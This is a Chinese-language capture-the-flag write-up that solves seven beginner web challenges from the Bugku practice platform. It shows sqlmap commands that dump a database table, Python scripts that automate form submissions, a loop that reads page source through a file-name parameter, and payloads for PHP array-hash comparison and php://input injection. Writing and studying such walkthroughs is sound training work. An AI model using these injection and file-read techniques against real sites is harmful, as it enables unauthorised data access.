bugku-ctf 第一题:成绩单
http://123.206.87.240:8002/chengjidan/
猜测应该是考sql注入
先用Burpsuite抓一下数据包吧
数据包新建成1.txt。放到sqlmap下
使用sqlmap跑注入吧。
然后就是需要了解下sqlmap的使用方式。
sqlmap.py -r 1.txt -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
可以看到它的数据库为 ‘skctf_flag’,接着就是爆表
sqlmap.py -r 1.txt -p id -D skctf_flag --tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g--columns
-T –>指定表名称
–columns –>列出表中的字段
fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r 1.txt -p id -D skctf_flag -T fl4g -C skctf_flag --dump
–dump –>列出字段数据(dump前有两个-)
得到
BUGKU{Sql_INJECT0N_4813drd8hz4}
这个题的知识点sql注入
bugku-ctf 第二题:秋名山老司机
打开连接
打开链接,让我们在2秒之内计算出一个很复杂的式子的值传进去
直接上图一脚本:
import re
import requests
s = requests.Session()
r = s.get("http://120.24.86.145:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=?;</div>$', r.text,re.M | re.S)
d = {
"value":eval(searchObj.group(1))
}
r = s.post("http://120.24.86.145:8002/qiumingshan/", data=d)
print(r.text)
import re # import 是导入模块 相当于就是导入函数库 导入模块过后就可以用相应的模块里的函数 这里的re模块是正则表达式 用于匹配字符串当中的一定字符但是说匹配这里却用来提取字符
import requests #导入requests模块请求模块 这个模块还有很多需要我学习
s = requests.Session() # 用s存session session和cookie 都用于身份识别 session本义为对话 这里我自己暂时理解为 把这次对话保存起来并取名s 相当于记录身份
r =s.get("http://120.24.86.145:8002/qiumingshan/") #用此身份请求并url
searchObj =re.search(r'^<div>(.*)=?;</div>$', r.text, re.M | re.S) #search 是扫描整个字符串并返回成功的匹配值 如果没有匹配则返回none 正则re.search(要匹配的字符,被扫描的字符,功能选择), 这里用这个函数实则是在提取字符,首先看要匹配的字符是这样的 r'^<div>(.*)=?;</div>$',这里的r我实在没有查到是什么意思我看了好几个有些没有这个r,^代表开始,$代表结束,这里则表是从<div>开始到</div>结束,而中间的(.*)这里的.代表任意一个字符加一个*构成.*就多次的任意字符然后?是?有特殊含义需要匹配?要在前面加一个,这里的=?是源代码中本来就有的,这里打括号是进行分组,第一个()就是第一组第二个()就是第二组(这是我自己的理解) ,r'^<div>(.*)=?;</div>$'表示<div></div>中的所有字符,然后再与r.text相匹配,相当于提取,后面我会带上图上面有一些字符的含义与某两个网站,还有分组。
d = {
"value": eval(searchObj.group(1)) #eval函数是计算值
}
r =s.post("http://120.24.86.145:8002/qiumingshan/", data=d) #post传值
print(r.text) #输出结果
得出flag
bugku-ctf 第三题:速度要快
看着毫无思路
查看下源代码吧
在源代码里有一个提示,说传递margin参数,但是又不知道传什么,在响应头里有个flag,
应该是base64加密的,然后解密后发现好像还可以再解密一次,让后再此解密,所以就把base64解密的数值传过去试试。但是好像它一直在变,让后就要写脚本自动传递,我也不知道为啥。写脚本和一直变又什么联系吗,但还是写了一个,试了试。
# coding:utf-8
import requests
import base64
url="http://123.206.87.240:8002/web6/"
s=requests.Session()
head=s.get(url).headers
flag=base64.b64decode(head["flag"])
flag=flag.decode()
key=base64.b64decode(flag.split(":")[1])
payload={"margin":key}
print(s.post(url,data=payload).text)
知识点
-
requests获取页面信息、头信息以及提交Post
-
抓包
-
Base64编码特点
bugku-ctf 第四题:cookies欺骗
打开链接是一串没有意义的字符串,查看源码没有发现什么
观察url ,发现a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
出现一行代码,试一下line=3显示了不同的代码
一个个试太麻烦,上脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
最后读取出来的源码
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码
keys.php编码是a2V5cy5waHA=
得到
KEY{key_keys}
bugku-ctf 第五题:never give up
打开链接显示一串字符,右键查看源码,发现1p.html
访问 1p.html ,发现页面自动跳转到 http://www.bugku.com/
应该是有 window.location.href 之类的重定向,那就直接查看1p.html的源码,在链接前面加view-source:
view-source:http:
//120.24.86.145:8006/test/1p.html
有发现!根据%3C来看Words变量应该是url编码
解码后发现 注释部分还进行了base64编码
继续base64解码后
终于出来了,来分析代码
stripos(字符串a,字符串b) 函数查找字符串b在字符串a中第一次出现的位置(不区分大小写)。
file_get_contents 将整个文件读入一个字符串
strlen() 函数返回字符串的长度
substr() 函数返回字符串的一部分。substr(string,start,length) ,length参数可选。如 substr($b,0,1) 就是在参数b里面 ,从0开始返回1个长度的字符串
eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
总的来说,如果a参数传入文件内有"bugku is a nice plateform!"字符串,并且id参数为0 , b参数长度大于5,"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的,substr($b,0,1)不能等于4 以上这些条件都满足,就请求f4l2a3g.txt
:)这么麻烦,那就先试试能不能直接访问 f4l2a3g.txt 吧
可以访问,flag我看到你了!
得到
flag{tHis_iS_THe_fLaG}
以上五题主要涉及到的技术点:SQL注入以及sqlmap工具使用、python脚本的编写、burpsuite抓包改包的使用、代码分析、url编码与解码、base64的编码与解码。
bugku-ctf 第六题:各种绕过
打开看看
阅读代码 发现
只要使uname的sha1的值与passwd的sha1的值相等即可,但是同时他们两个的值又不能相等
构造
http://123.206.87.240:8002/web7/?uname[]=1&id=margin 并发送 passwd[]=2 的postdata 请求即可
依旧利用简单 有特别 好安装的 火狐 插件 hackbar
得到
Flag: flag{HACK_45hhs_213sDD}
本题注意点:
1. get方式提交uname 和 id 值,post方式提交passwd值
2. uname和passwd的哈希值相同
3. id == “margin”
解决
1 get和post提交,方式1:火狐的HackBar,方式:python程序。。。
2 把uname和passwd定义成数组,数组的哈希值相同
3 url传入时,令id=margin
bugku-ctf 第七题:web8(txt????)
http://123.206.87.240:8002/web8/
本题要点:php代码审计、php://input
打开地址,看到这样的代码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
分析代码:
extract($_GET):函数extract()有通过数组进行赋值的功能:
file_get_contents($fn):file_get_contents功能是从文件名为“$fn”的文件中读取数据,但是当$fn的值为“php://input”,它会接受并返回post的值
构造
index.php?ac=text&fn=php://input
得到
flag{3cfb7a90fc0de31}
本文始发于微信公众号(LemonSec):【CTF web入门第六篇】web入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论